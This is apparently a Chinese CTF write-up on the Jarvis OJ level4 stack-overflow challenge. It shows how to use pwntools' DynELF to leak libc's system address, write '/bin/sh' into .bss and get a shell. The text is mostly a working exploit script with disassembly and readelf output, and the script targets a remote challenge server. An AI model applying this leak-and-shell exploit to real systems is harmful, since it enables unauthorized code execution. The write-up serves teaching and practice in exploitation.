栈溢出之DynELF
0x00:前言DynELF方法适用于没有libc的情况,我们可以通过DynELF方法来实现泄露system函数的地址,那么DynELF是什么呢?在pwntools官方文档有介绍,简单而言就是通过leak方法反复进入main函数中查询libc中的内容,其代码框架如下
p = process('./xxx')
def leak(address):
payload = "xxxxxxxx" + address + "xxxxxxxx"
p.send(payload)
data = p.recv(4)
log.debug("%#x => %s" % (address, (data or '').encode('hex'))) #打印搜索的信息
return data
d = DynELF(leak, elf=ELF("./xxx")) #初始化DynELF模块
systemAddress = d.lookup('system', 'libc') #在libc文件中搜索system函数的地址
我们通过一道题来深入了解这个方法
0x01:Jarvis Oj-level4
题目链接
https://dn.jarvisoj.com/challengefiles/level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0
解题思路
我们先检测一些保护机制
root@Thunder_J-virtual-machine:~/桌面# checksec level4 '/home/Thunder_J/\xe6\xa1\x8c\xe9\x9d\xa2/level4'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled #堆栈不可执行
PIE: No PIE (0x8048000)
用IDA查看一下主函数内容
main()
如果是做了前面level0-3的朋友应该对这里非常熟悉,逻辑非常简单,我们进vulnerable_function()函数内看一下
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}
vulnerable_function()
很明显这里出现栈溢出,read函数读取0x100的内容,双击buf可以看到buf只有0x88+0x4的大小,所以我们可以构造栈溢出
ssize_t vulnerable_function()
{
char buf; //
return read(0, &buf, 0x100u);
}
第一次构造
既然我们清楚是栈溢出,我们就需要多多观察程序内的信息,有没有system,’/bin/sh’等关键的内容,然而我们用IDA并没有搜索到有system或者’/bin/sh’的信息,那这里就需要用到上面提及的DynELF的方法了,我们通过objdump查看函数信息:
root@Thunder_J-virtual-machine:~/桌面# objdump -R level4
level4: 文件格式 elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ffc R_386_GLOB_DAT __gmon_start__
0804a00c R_386_JUMP_SLOT read@GLIBC_2.0
0804a010 R_386_JUMP_SLOT __gmon_start__
0804a014 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
0804a018 R_386_JUMP_SLOT write@GLIBC_2.0
我们看到有read和write函数,其实有这两个函数就代表我们可以通过他们来泄露system函数在libc中的地址了,因为我们可以通过栈溢出覆盖返回地址执行,因此我们第一次构造调用write函数泄露libc中system的地址
def leak(addr):
write_plt = p32(0x08048340)
fun_addr = p32(0x0804844b)
payload = 'a' * (0x88 + 0x4) + write_plt + fun_addr + p32(1) + p32(addr) + p32(4) #write(1, addr, 4);
r.send(payload)
leaked = r.recv(4)
return leaked
d = DynELF(leak, elf=ELF("./level4"))
system_addr = d.lookup('system', 'libc')
第二次构造
我们在得到了system函数的地址之后就需要写入’/bin/sh’字符串了,那么去哪里写入呢?当然是.bss段,我们通过readelf的方法查看程序的.bss段:
root@Thunder_J-virtual-machine:~/桌面# readelf -S level4
There are 30 section headers, starting at offset 0x1844:
节头:
Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 00
[ 1] .interp PROGBITS 08048154 000154 000013 00 A0 01
[ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A0 04
[ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A0 04
[ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000020 04 A5 04
[ 5] .dynsym DYNSYM 080481cc 0001cc 000060 10 A6 14
[ 6] .dynstr STRTAB 0804822c 00022c 000050 00 A0 01
[ 7] .gnu.version VERSYM 0804827c 00027c 00000c 02 A5 02
[ 8] .gnu.version_r VERNEED 08048288 000288 000020 00 A6 14
[ 9] .rel.dyn REL 080482a8 0002a8 000008 08 A5 04
.rel.plt REL 080482b0 0002b0 000020 08AI5124
.init PROGBITS 080482d0 0002d0 000023 00AX0 04
.plt PROGBITS 08048300 000300 000050 04AX0 0 16
.text PROGBITS 08048350 000350 0001c2 00AX0 0 16
.fini PROGBITS 08048514 000514 000014 00AX0 04
.rodata PROGBITS 08048528 000528 000017 00 A0 04
.eh_frame_hdr PROGBITS 08048540 000540 000034 00 A0 04
.eh_frame PROGBITS 08048574 000574 0000ec 00 A0 04
.init_array INIT_ARRAY 08049f08 000f08 000004 00WA0 04
.fini_array FINI_ARRAY 08049f0c 000f0c 000004 00WA0 04
.jcr PROGBITS 08049f10 000f10 000004 00WA0 04
.dynamic DYNAMIC 08049f14 000f14 0000e8 08WA6 04
.got PROGBITS 08049ffc 000ffc 000004 04WA0 04
.got.plt PROGBITS 0804a000 001000 00001c 04WA0 04
.data PROGBITS 0804a01c 00101c 000008 00WA0 04
.bss NOBITS 0804a024 001024 000004 00WA0 01
.comment PROGBITS 00000000 001024 000052 01MS0 01
.shstrtab STRTAB 00000000 001076 000106 00 0 01
.symtab SYMTAB 00000000 00117c 000450 10 29454
.strtab STRTAB 00000000 0015cc 000276 00 0 01
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
p (processor specific)
根据上面的数据我们选中.bss段的地址开始第二次构造,在.bss段中写入’/bin/sh’字符串
data_addr = 0x0804A024 # readelf -S level4
read_plt = p32(0x08048310)
fun_addr = p32(0x0804844b)
payload = 'a' * (0x88 + 0x4) + read_plt + fun_addr + p32(0) + p32(data_addr) + p32(8)
r.send(payload)
r.send("/bin/sh\x00")
第三次构造
准备工作做完了当然最后一步就是getshell了
payload = 'a' * (0x88 + 0x4) + p32(system_addr) + 'aaaa' + p32(data_addr)
r.send(payload)
exp
总结一下上面的步骤
from pwn import *
r = remote("pwn2.jarvisoj.com", 9880)
def leak(addr):
write_plt = p32(0x08048340)
fun_addr = p32(0x0804844b)
buf = p32(addr)
payload = 'a' * (0x88 + 0x4) + write_plt + fun_addr + p32(1) + buf + p32(4)
r.send(payload)
leaked = r.recv(4)
return leaked
d = DynELF(leak, elf=ELF("./level4"))
system_addr = d.lookup('system', 'libc')
data_addr = 0x0804A024 # readelf -S level4
read_plt = p32(0x08048310)
fun_addr = p32(0x0804844b)
payload = 'a' * (0x88 + 0x4) + read_plt + fun_addr + p32(0) + p32(data_addr) + p32(8)
r.send(payload)
r.send("/bin/sh\x00")
payload = 'a' * (0x88 + 0x4) + p32(system_addr) + 'aaaa' + p32(data_addr)
r.send(payload)
r.interactive()
没有做过level0-3的建议做一下在做level4,每个题目收获都会有所不同
页:
[1]